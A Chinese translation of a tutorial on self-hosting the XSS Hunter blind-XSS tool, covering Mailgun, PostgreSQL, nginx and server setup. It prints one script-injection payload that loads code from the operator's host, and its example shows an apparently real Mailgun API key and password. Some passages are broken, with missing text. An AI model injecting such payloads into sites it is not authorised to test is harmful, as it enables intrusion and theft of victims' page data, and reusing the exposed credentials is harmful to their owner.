安装XSS Hunter

我们发布了《安装XSS Hunter》文章的翻译,并通过我们自己的示例检查说明。



剧透:一切正常!






为什么选择XSS Hunter?



许多读者可能已经知道,您可以在https://xsshunter.com/上注册并免费使用xsshunter。简而言之,这是主要用于盲目XSS搜索的工具您问为什么要为此任务部署自己的服务。



  1. 一切都在掌控之中。如果出现问题,您可以检查并调查问题。
  2. 稳定性。您可以确定该服务是否正常运行。您可以自己决定何时停止。想象一下,您已经准备好执行数百个数据集,并且服务的所有者突然将其关闭。真可悲!
  3. 您可以控制数据。公司通常不喜欢使用第三方解决方案的错误搜寻器,因为在这种情况下,他们无法验证数据是否已删除。


奖励:多亏了这篇文章,您将发现一切工作原理。

如果这篇文章对您来说还不够,我们建议您阅读Jet Infosystems同事工作






如何使用?



可以在XSS Hunter GitHub网站上找到使用XSS Hunter的指南



这是一个很好的开始,但是本指南有些过时了。这种情况与代码库相同,因此我不得不更改一些东西才能在Ubuntu 18.04上工作。在本文中,我将告诉您如何使用XSS Hunter。



第一步



在这一点上,我以官方指南为基础。



我们还假定您具有工作服务器和基本服务器管理经验。尽管如此,我仍将尝试更深入。随意问的问题!



我们会需要:



  • VPS或其他托管服务的地方


我们使用VDS Timeweb的示例重复了作者的指示:timeweb.com/ru/services/vds在本文的后续部分,我们将分享在每个阶段隐藏的破坏者中得到的东西。


  • 域名(你可以很容易地找到和购买。例如,123


我们有:timeweb.com/ru/services/domains


  • Wildcard-. , , . .


:





XSS Hunter



mailgun



1.在此处注册一个mailgun帐户不要忘记取消选中此框,如下面的屏幕快照所示。







2.按照说明验证您的电子邮件地址和电话号码。



3.转到“提交”选项卡,然后选择您的邮件域。







4.在屏幕的右上方,在您要接收警报的电子邮件地址处添加。这应该是您的真实和当前地址。例如john.doe@gmail.com。



5.完成上述操作后,在API标签突出显示的块中按“选择”按钮。



6.记下API密钥和电子邮件域。您很快就会需要它们!



电子邮件域是基本API URL的最后一部分:sandboxe678



以VDS Timeweb为例
: sandbox82f7e729ed934d1189bcc6bd32aaa977.







7.打开邮件并找到来自mailgun的信件。



8.通过单击电子邮件中的链接来确认您的电子邮件地址。



(这封信将发送到您在第4步中指定的地址,在本例中为john.doe@gmail.com)。



确保一切正常



使用以下命令从服务器发送电子邮件,以确保服务正在运行。



替换:



[API_KEY]:您的API密钥

[API_BASE_URL]:您的基本URL API

[YOUR_EMAIL]:您的真实电子邮件



例如:john.doe@gmail.com



curl -s --user 'api:[API_KEY]' \
	https://api.mailgun.net/v3/[API_BASE_URL]/messages \
	-F from='Excited User <mailgun@[API_BASE_URL]>' \
	-F to=[YOUR_EMAIL] \
	-F subject='Hello' \
	-F text='Testing some Mailgun awesomeness!'


注意:服务的欧盟版本具有不同的URL。快速的Google搜索或检查您的mailgun帐户会告诉您确切的更改。



来自Timeweb专家的说明
curl:



curl -s --user 'api:67ee2b8a922268ac335eb00262b33711-9b1bf5d3-919027d8' \https://api.mailgun.net/v3/sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org/messages \
	-F from='Excited User <mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>' \
	-F to=r.tkach@timeweb.ru \
	-F subject='' \
	-F text='   MailGun'


:



{
  "id": "<20201029124602.1.C81E1E4029FB7DC4@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>",
  "message": "Queued. Thank you."
}




检查您的帐户,以确保您收到了如下例所示的电子邮件。如果没有电子邮件,则需要进行故障排除,然后再继续下一步。



设置依赖



首先安装所需的软件包:



# install dependencies
sudo apt-get install nginx && sudo apt-get install postgresql postgresql-contrib


以VDS Timeweb为例
root@372526-twosa:~#  apt-get install nginx && apt-get install postgresql postgresql-contrib




接下来,为XSS Hunter设置postgres用户和数据库。EXAMPLE_PASSWORD更改为更安全的密码。我强烈建议使用密码管理器!



sudo -i -u postgres
psql template1
CREATE USER xsshunter WITH PASSWORD 'EXAMPLE_PASSWORD';
CREATE DATABASE xsshunter;
\q
exit


以VDS Timeweb为例
root@372526-twosa:~# sudo -i -u postgres
postgres@372526-twosa:~$ psql template1
psql (10.14 (Ubuntu 10.14-0ubuntu0.18.04.1))
Type "help" for help.

template1=# create user xsshunter with password '6fhQg18YFrna2LbX2EDWHfLoewy32i';
CREATE ROLE
template1=# create database xsshunter;
CREATE DATABASE
template1=# \q




服务安装



首先,我们克隆存储库:



git clone https://github.com/mandatoryprogrammer/xsshunter
cd xsshunter


以VDS Timeweb为例
root@372526-twosa:~# git clone https://github.com/mandatoryprogrammer/xsshunter
root@372526-twosa:~# cd xsshunter




请注意:需要Python2!该存储库不支持Python3。



要运行配置脚本,我们需要添加其他依赖项:



# install yaml support for python
sudo apt-get install pyyaml


以VDS Timeweb为例
root@372526-twosa:~/xsshunter# apt install python-pip
root@372526-twosa:~/xsshunter# pip install pyyaml




感谢用户xYantix此拉取请求中提供了可行的解决方案



服务设置



好的,让我们开始吧!我们准备运行配置脚本。



# generate yaml config file
./generate_config.py


以VDS Timeweb为例
root@372526-twosa:~/xsshunter# ./generate_config.py




我将逐步向您展示该过程。要查看输出示例,请参见以下示例。我添加了数字以便于导航。否则,所有内容都应相同。



1.输入您的域名。我以mydomain.com为例。



以VDS Timeweb为例
372526-twosa.tmweb.ru.



2.输入之前找到并保存的Mailgun API密钥。



3.输入您的Mailgun域名,您之前也已写下该域名。 (从沙盒开始)。



4.我认为可能是@ [Mailgun域名],但是我坚持使用mailgun的标准命名,因为这里的名称实际上并不重要。我建议使用:mailgun @ [Mailgun域名]。请记住用您自己的[Mailgun域名]替换。



5.这是为了使人们报告涉嫌滥用该工具。您的真实和当前电子邮件地址应在此处注明。例如:john.doe@gmail.com



6.如果您已按照本文中的所有步骤进行操作,只需输入xsshunter。



7.输入您在创建数据库时选择的密码。上面列为EXAMPLE_PASSWORD将文本[YOUR_REALLY_SECURE_PASSWORD]替换为您的密码EXAMPLE_PASSWORD



8.与第6步一样,如果您遵循了本教程,则只需输入xsshunter。



糟糕!设置完成!



如果您需要更改这些值,则可以直接在config.yaml文件中进行编辑。



__   __ _____ _____   _    _             _
\ \ / // ____/ ____| | |  | |           | |
 \ V /| (___| (___   | |__| |_   _ _ __ | |_ ___ _ __
  > <  \___ \\\\___ \  |  __  | | | | '_ \| __/ _ \ '__|
 / . \ ____) |___) | | |  | | |_| | | | | ||  __/ |
/_/ \_\_____/_____/  |_|  |_|\__,_|_| |_|\__\___|_|


	                                           Setup Utility

	(1)
   What is the base domain name you will be using?
	(ex. localhost, www.example.com)
	Domain? mydomain.com

	Great! Now let's setup your Mailgun account to send XSS alerts to.

	(2)
	Enter your API key:
	(ex. key-8da843ff65205a61374b09b81ed0fa35)
	Mailgun API key: 92740xxxxxxxxxxxxxxxxxxxxxxxxxxx-65bxxx58-8ffxxxxx

	(3)
	What is your Mailgun domain?
	(ex. example.com)
	Mailgun domain: sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(4)
   What email address is sending the payload fire emails?:
	(ex. no-reply@example.com)
	Sending email address: 
mailgun@sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(5)
   Where should abuse/contact emails go?:
	(ex. yourpersonal@gmail.com)
	Abuse/Contact email: xsshunter@mydomain.com

        (6)
	What postgres user is this service using?
	(ex. xsshunter)
	Postgres username: xsshunter

	(7)
	What is the postgres user's password?
	(ex. @!$%@^%UOFGJOEJG$)
	Postgres password: [YOUR_REALLY_SECURE_PASSWORD]

	(8)
	What is the postgres user's DB?
	(ex. xsshunter)
	Postgres DB: xsshunter

	Generating cookie secret...
	Minting new nginx configuration file...

	Setup complete! Please now copy the 'default' file to 
/etc/nginx/sites-enabled/default
	This can be done by running the following:
	sudo cp default /etc/nginx/sites-enabled/default

	Also, please ensure your wildcard SSL certificate and key are available at 
the following locations:
	/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
	/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key

	Good luck hunting for XSS!


以VDS Timeweb为例
  	Setup Utility

What is the base domain name you will be using?
(ex. localhost, www.example.com)
Domain? 372526-twosa.tmweb.ru
Great! Now let's setup your Mailgun account to send XSS alerts to.

Enter your API key:
(ex. key-8da843ff65205a61374b09b81ed0fa35)
Mailgun API key: 67ee**************************-9b*******-919*****

What is your Mailgun domain?
(ex. example.com)
Mailgun domain: sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org

What email address is sending the payload fire emails?:
(ex. no-reply@example.com)
Sending email address: mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org

Where should abuse/contact emails go?:
(ex. yourpersonal@gmail.com)
Abuse/Contact email: r.tkach@timeweb.ru


What postgres user is this service using?
(ex. xsshunter)
Postgres username: xsshunter

What is the postgres user's password?
(ex. @!$%@^%UOFGJOEJG$)
Postgres password: [EXAMPLE_PASSWORD]

What is the postgres user's DB?
(ex. xsshunter)
Postgres DB: xsshunter

Generating cookie secret...
Minting new nginx configuration file...

Setup complete! Please now copy the 'default' file to /etc/nginx/sites-enabled/default
This can be done by running the following:
sudo cp default /etc/nginx/sites-enabled/default

Also, please ensure your wildcard SSL certificate and key are available at the following locations:
/etc/nginx/ssl/xsshunter.timeweb.ru.crt; # Wildcard SSL certificate
/etc/nginx/ssl/xsshunter.timeweb.ru.key; # Wildcard SSL key

Good luck hunting for XSS!
                                                    	-mandatory




现在,您的xsshunter文件夹中应该有2个新文件:



  • config.yaml(包含API密钥和凭据)
  • 默认(包含nginx配置)


NGINX配置



更改SSL证书的位置



如果您像我一样使用“让我们加密”,则需要修改默认值



为了使配置与默认的“加密”设置一起使用,必须注释掉所有条目:



/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key


并替换为



ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem ; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # managed by Certbot


注意:



1.用您的域名替换mydomain.com!



2.#符号后的所有内容均为注释。您可以根据需要删除它们。



您的默认文件现在应如下所示:



server {
    # Redirect HTTP to www
    listen 80;
    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # Redirect payloads to HTTPS
    listen 80;
    server_name *.mydomain.com;
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://$host$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
    # Redirect HTTPS to www
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key

    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # API proxy
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key

    server_name *.mydomain.com;
    access_log /var/log/nginx/mydomain.com.vhost.access.log;
    error_log /var/log/nginx/mydomain.com.vhost.error.log;

    client_max_body_size 500M;

    location / {
        proxy_pass  http://localhost:8888;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }
}

server {
    # Redirect api to HTTPS
    listen 80;
    server_name api.mydomain.com; # Subdomain for API server
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://api.mydomain.com$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
   # Redirect www to HTTPS
   listen 80;
   server_name www.mydomain.com;
   location / {
       rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
   }
}

server {
   # GUI proxy
   listen 443;
   server_name www.mydomain.com;
   client_max_body_size 500M;
   ssl on;

   # New conf
   ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
   ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

   # Original conf
   #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
   #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key


   location / {
       proxy_pass  http://localhost:1234;
       proxy_set_header Host $host;
   }
}


以VDS Timeweb为例
server {
	# Redirect HTTP to www
	listen 80;
	server_name 372526-twosa.tmweb.ru;
	location / {
    	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
	}
}

server {
	# Redirect payloads to HTTPS
	listen 80;
	server_name *.372526-twosa.tmweb.ru;
	proxy_set_header X-Forwarded-For $remote_addr;

	return 307 https://$host$request_uri;
	client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
	# Redirect HTTPS to www
	listen 443;
	ssl on;
    
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key
    
	server_name 372526-twosa.tmweb.ru;
	location / {
    	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
	}
}

server {
	# API proxy
	listen 443;
	ssl on;
    
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key

	server_name *.372526-twosa.tmweb.ru;
	access_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.access.log;
	error_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.error.log;

	client_max_body_size 500M;

	location / {#
    	proxy_pass  http://localhost:8888;
    	proxy_set_header Host $host;
    	proxy_set_header X-Forwarded-For $remote_addr;
	}
}

server {
	# Redirect api to HTTPS
	listen 80;
	server_name api.372526-twosa.tmweb.ru; # Subdomain for API server
	proxy_set_header X-Forwarded-For $remote_addr;

	return 307 https://api.372526-twosa.tmweb.ru$request_uri;
	client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
   # Redirect www to HTTPS
   listen 80;
   server_name www.372526-twosa.tmweb.ru;
   location / {
   	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
   }
}

server {
   # GUI proxy
   listen 443;
   server_name www.372526-twosa.tmweb.ru;
   client_max_body_size 500M;
   ssl on;
   
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key

   location / {
   	proxy_pass  http://localhost:1234;
   	proxy_set_header Host $host;
   }
}




让我们应用NGINX配置



下一步是将文件移动到nginx文件夹。将配置文件放在... / sites-available文件夹中,然后创建指向要用于... / sites-enabled的配置的符号链接,这是一种好习惯我们将这样做。



我为配置文件命名,以便从名称中清楚知道它属于哪个服务。



这是怎么做!



# move file and give proper name
cp xsshunter/default /etc/nginx/sites-available/xsshunter-mydomain.com

# symlink the file to sites-enabled to make it active
ln -s /etc/nginx/sites-available/xsshunter-mydomain.com 
/etc/nginx/sites-enabled/xsshunter-mydomain.com

# test for errors in the configuration
sudo nginx -t

# if no errors, restart nginx for changes to take effect
sudo systemctl restart nginx


以VDS Timeweb为例
root@372526-twosa:~/xsshunter# cp default /etc/nginx/sites-available/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# ln /etc/nginx/sites-available/372526-twosa.tmweb.ru /etc/nginx/sites-enabled/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# nginx -t
root@372526-twosa:~/xsshunter# systemctl restart nginx




如果您以前从未启动过nginx,那么最后一条命令应该是:



sudo systemctl start nginx


安装API服务器



首先,API服务器也需要某些依赖项。



该手册说要运行以下命令:



sudo apt-get install python-virtualenv python-dev libpq-dev libffi-dev


以VDS Timeweb为例
root@372526-twosa:~/xsshunter# apt-get install python-virtualenv python-dev libpq-dev libffi-dev


, python-virtualenv pip.




再试一次!



不幸的是,我无法运行virtualenv命令,因此我使用以下命令安装了API服务器:



pip install virtualenv


问题解决了,我得以继续!

让我们转到所需的目录。

进入正确的目录后,您需要创建一个虚拟环境。

方法如下:



# change folder - you know that already!
cd xsshunter/api

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env


以VDS Timeweb为例
root@372526-twosa:~/xsshunter# cd xsshunter/api
root@372526-twosa:~/xsshunter/api# which python2
/usr/bin/python2
root@372526-twosa:~/xsshunter/api# virtualenv -p /usr/bin/python2 env
Running virtualenv with interpreter /usr/bin/python2
New python executable in /root/xsshunter/api/env/bin/python2
Also creating executable in /root/xsshunter/api/env/bin/python
Installing setuptools, pkg_resources, pip, wheel...done.




确保在最后一个命令中将MY / EXECUTABLE / PATH更改python2命令的输出对我来说,这是:/ usr / bin / python2



创建虚拟环境后,使用以下命令将其激活。您应该注意到命令行中的更改。



# activate environment
. env/bin/activate


以VDS Timeweb为例
root@372526-twosa:~/xsshunter/api# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/api# ls
apiserver.py  env  logs  models  probe.js  requirements.txt  templates








由于没有积极维护存储库,因此也存在依赖性问题。



因此,我们必须对requirements.txt文件进行以下更改



1. psycopg2 == 2.6.1 => psycopg2 == 2.7.3.1

2. bcrypt == 2.0.0 => bcrypt == 3.1.7



使用您喜欢的文本编辑器为了这。我正在使用VIM。



完成此操作后,就该安装所有依赖项并启动API服务器以确保一切按预期运行。我们试试吧!



# install requirements
pip install -r requirements.txt

# run the API server
./apiserver.py


以VDS Timeweb为例
(env) root@372526-twosa:~/xsshunter/api# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/api# ./apiserver.py




install命令应输出数据。 api服务器不应输出任何内容。没有退出是个好消息!



我们希望在完成api服务器的配置之前再进行一次更改。最初,它在接口0.0.0.0上侦听,但我们通过NGINX进行了代理。这意味着没有意义。我们将配置服务器以监听localhost。这样可以避免混乱和问题。



使用文本编辑器,将apiserver.py中的第684

app.listen(8888)更改为app.listen(8888,“ localhost”)



感谢swarley7在此请求中共享解决方案



最后:如果/ uploads文件夹不存在,则无法按预期进行上传的错误。这是sampsonc在此pull请求中共享的



让我们创建一个文件夹并继续!



# create uploads folder
mkdir xsshunter/api/uploads


安装GUI服务器



此过程与api服务器上的过程非常相似,只是更简单。



转到gui文件夹,创建一个虚拟环境,激活它并安装依赖项。



# change folder - you know that already!
cd xsshunter/gui

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env

# activate environment
. env/bin/activate

# install requirements
pip install -r requirements.txt

# run the GUI server
./guiserver.py


以VDS Timeweb为例
root@372526-twosa:~/xsshunter# cd xsshunter/gui
root@372526-twosa:~/xsshunter/gui# which python2
/usr/bin/python2
(env) root@372526-twosa:~/xsshunter/gui# virtualenv -p /usr/bin/python2 env
(env) root@372526-twosa:~/xsshunter/gui# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/gui# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/gui# ./guiserver.py




同样,与安装API服务器时相同:



确保将上一条命令中的MY / EXECUTABLE / PATH更改为python2。对我来说是:/ usr / bin / python2



在这里,运行./guiserver时缺少输出也是一个好消息。



另外,就像API服务器一样,我们希望通过NGINX代理所有连接,因此服务器不需要侦听接口0.0.0.0



使用文本编辑器,将guiserver.py中的第70

app.listen(1234)更改为app.listen(1234,“ localhost”)。



最后的润色



第一步是启动两个服务器。原始博客文章建议使用tmux。对于生产来说,它不是完美的,但是我们是黑客,所以无论如何我们都要做吧!如果您想要更稳定的服务,我将作为练习留给您。



这是使用tmux使其启动并运行的方法。如果您需要帮助,这里有一个很棒的备忘单



# start a session
tmux session -new xsshunter

# change to api directory
cd xsshunter/api

#run api server
./apiserver

# open new pane
[ctrl]+[b] -> [c]

# change to gui directory
cd xsshunter/gui

# run gui server
./guiserver

# detach from session
[ctrl]+[b] -> [d]

# extra: if you want to open the session again
tmux attach-session -t xsshunter


还有最后一个!



打开您的域,看看xsshunter页面是否打招呼!

它的外观应与xsshunter.com上的第一页相同



发生了吗 恭喜你!

是时候倒杯啤酒了!







检查性能
(https://www.372526-twosa.tmweb.ru/signup) .







www.372526-twosa.tmweb.ru/app Payload - . :



"><script src=https://tw.372526-twosa.tmweb.ru></script>


html- .







: js , , js_callback .







XSS Hunter:







:







It works! !



: www.372526-twosa.tmweb.ru.



如果您还没有看过Entourage,现在就可以开始!



结论



我不喜欢以root用户或普通用户身份运行某些内容,因此要以www-data身份运行它,我编写了以下脚本,以使其变得更简单。



更换apiserver.pyguiserver.py所以你必须每个服务器一个脚本。如果您使用此技术,我会很高兴。



用于使用虚拟环境并启动API服务器的Shell脚本:



#!/bin/sh
. env/bin/activate && python apiserver.py


出于安全原因,将脚本作为www-data运行:



# execute script above as www-data user
sudo -u www-data ./run.sh


做完了!



感谢您的关注。希望对您有所帮助!



All Articles